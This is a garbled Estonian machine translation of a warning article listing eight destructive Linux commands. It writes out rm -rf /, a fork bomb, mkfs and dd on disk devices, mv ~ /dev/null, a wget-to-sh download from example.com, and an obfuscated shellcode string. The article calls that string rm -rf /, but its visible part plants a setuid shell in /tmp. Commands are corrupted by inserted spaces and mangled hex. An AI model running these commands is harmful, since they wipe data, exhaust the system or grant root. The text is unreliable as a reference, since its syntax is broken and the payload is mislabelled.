8 Deadly Commands Sa ei tohiks kunagi Linuxis töötada
Linuxi terminalikäsud on võimsad ja Linux ei küsi teilt kinnitust, kui käivitate käsu, mis rikub teie süsteemi. Pole ebatavaline, et trollid on võrgus, soovitades uutel Linuxi kasutajatel neid käske naljana käivitada.
Nende käskude õppimine, mida sa ei tohiks töötada, võib teid kaitsta trolli eest, suurendades samal ajal teie arusaama sellest, kuidas Linux töötab. See ei ole ammendav juhend ning siinseid käske saab remixida mitmel viisil.
Pange tähele, et paljud neist käskudest on ohtlikud ainult siis, kui need on ees sudo Ubuntu juures - nad ei tööta teisiti. Teistes Linuxi distributsioonides peab enamik käske olema käivitatud rootina.
Pildi krediit: Jason Fordilt Twitteris remonti
rm -rf / - Kustutab kõik!
Käsk rm -rf / kustutab kõik võimalikud võimalused, sealhulgas kõvakettal olevad failid ja ühendatud teisaldatavate andmekandjate failid. See käsk on paremini mõistetav, kui see on jaotatud:
rm - Eemaldage järgmised failid.
-rf - Käivitage rm rekursiivselt (kustutage kõik määratud kausta sees olevad failid ja kaustad) ning eemaldage kõik failid ilma teid nõudmata.
/ - Teatab rmile, et alustaks juurkataloogist, mis sisaldab kõiki arvutis olevaid faile ja kõiki paigaldatud meediaseadmeid, sealhulgas failide kaugjaamu ja eemaldatavaid draive.
Linux järgib õnnelikult seda käsku ja kustutab kõike ilma teid nõudmata, olge selle kasutamisel ettevaatlik! Rm-käsku saab kasutada ka muudel ohtlikel viisidel - rm -rf ~ kustutaks kõik teie kodukausta failid rm -rf. * kustutaks kõik teie konfiguratsioonifailid.
Õppetund: Hoiduge rm -rf.
Varjatud rm -rf /
Siin on veel üks koodilõik, mis on kogu veebis:
char esp [] __attribute__ ((sektsioon (“. tekst”))) / * e.s.p
vabastamine * /
Xeb x x x x x x x x x x x x x x x x x x x x x x x x x x x x x
Xff xff xff xff x68 xdd xdf xd9 x68 x8d x99 "
Xdf x81 x68 x8d x92 xdf xd2 x54 x5e xf7 x16 xf7 "
X56 x04 xf7 x56 x08 xf7 x56 x0c x83 xc4 x74 x56 "
"Xdd x73 x08 x56 x53 x54 x59 xb x xb xd x80 x31"
Xc x40 xeb xf9 x8 xd xff xff xff x2f x62 x69 "
X6e xff x73 x68 x00 x2d x63 x00 "
“Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ”;
See on rm -rf / - selle käsu täitmine pühkib failid välja nii, nagu oleksid käinud rm -rf /.
Õppetund: Ärge käivitage imelikku ilmselt varjatud käske, mida te ei mõista.
: () : |: & ;: - kahvlipomm
Järgmine rida on lihtne, kuid ohtlik bash-funktsioon:
: () : |: & ;:
See lühike rida määratleb shellifunktsiooni, mis loob uusi koopiaid. Protsess kordub pidevalt ja selle koopiad paljundavad end pidevalt, alustades kiiresti kogu CPU aja ja mäluga. See võib teie arvuti külmutada. See on põhimõtteliselt teenusetõkestamise rünnak.
Õppetund: Bash-funktsioonid on võimsad, isegi väga lühikesed.
Pildi krediit: teenige Wikimedia Commonsis
mkfs.ext4 / dev / sda1 - kõvaketta vormindamine
The mkfs.ext4 / dev / sda1 käsk on lihtne mõista:
mkfs.ext4 - Looge järgmisele seadmele uus ext4-failisüsteem.
/ dev / sda1 - Määrab esimese kõvaketta esimese partitsiooni, mis on tõenäoliselt kasutusel.
Kokkuvõttes võib see käsk olla samaväärne käivitusvorminguga c: Windowsis - see pühib failid oma esimesel partitsioonil ja asendab need uue failisüsteemiga.
See käsk võib olla ka muudes vormides - mkfs.ext3 / dev / sdb2 vormindaks teise kõvaketta teise partitsiooni failisüsteemiga ext3.
Õppetund: Hoiduge käskude käivitamisest otse kõvakettale, mis algab numbriga / dev / sd.
käsk> / dev / sda - kirjutab otse kõvakettale
The käsk> / dev / sda liin töötab sarnaselt - see käitab ja saadab selle käsu otse oma esimesele kõvakettale, kirjutab andmed otse kõvakettale ja kahjustab teie failisüsteemi.
käsk - Käivita käsk (võib olla mis tahes käsk.)
> - Saada käsu väljund järgmisele asukohale.
/ dev / sda - Kirjutage käsu väljund otse kõvaketta seadmesse.
Õppetund: Nagu eespool kirjeldatud, ole ettevaatlik käskude puhul, mis sisaldavad kõvaketta seadmeid, mis algavad numbriga / dev / sd.
dd if = / dev / random of = / dev / sda - kirjutab rämpsposti kõvakettale
The dd if = / dev / juhuslik = / dev / sda rida kustutab ka ühe teie kõvakettale salvestatud andmed.
dd - Tehke madala tasemega kopeerimine ühest kohast teise.
if = / dev / random - Sisendina kasutage / dev / random (juhuslikud andmed) - võite näha ka kohti, näiteks / dev / null (nullid).
= = / dev / sda - Väljund esimesele kõvakettale, asendades failisüsteemi juhuslike prügiandmetega.
Õppetund: dd kopeerib andmeid ühest kohast teise, mis võib olla seadmesse kopeerimisel ohtlik.
Pildikrediit: Matt Rudge Flickris
mv ~ / dev / null - teisaldab teie kodust kataloogi mustale augule
/ dev / null on veel üks eriline asukoht - midagi liigutades / dev / null on sama, mis selle hävitamine. Mõtle / dev / null kui must auk. Sisuliselt, mv ~ / dev / null saadab kõik teie isiklikud failid mustasse auku.
mv - Liiguta järgmine fail või kataloog teise asukohta.
~ - Esitab kogu teie kodukausta.
/ dev / null - Liiguta oma kodukataloog / dev / null, hävitades kõik oma failid ja kustutades originaalid.
Õppetund: Tähemärk ~ tähistab teie kodukataloogi ja asjade liigutamine / dev / null hävitab need.
wget http://example.com/something -O - | sh - allalaadimine ja skripti käivitamine
Ülalolev rida laadib veebist alla skripti ja saadab selle sh-le, mis täidab skripti sisu. See võib olla ohtlik, kui te pole kindel, mis skript on või kui te ei usalda selle allikat - ärge käivitage ebausaldusväärseid skripte.
wget - Faili allalaadimine. (Võimalik, et näete kõverat ka wgeti asemel.)
http://example.com/something - Laadige fail sellest asukohast alla.
| - Toru (saatke) wget-käsu väljund (allalaaditud fail) otse teisele käsule.
sh - Saatke fail sh-käsule, mis täidab selle, kui see on bash-skript.
Õppetund: Ärge laadige ja käivitage veebist ebausaldusväärseid skripte isegi käsu abil.
Kas teate muid ohtlikke käske, mida uued (ja kogenud) Linuxi kasutajad ei peaks kasutama? Jäta kommentaar ja jagada neid!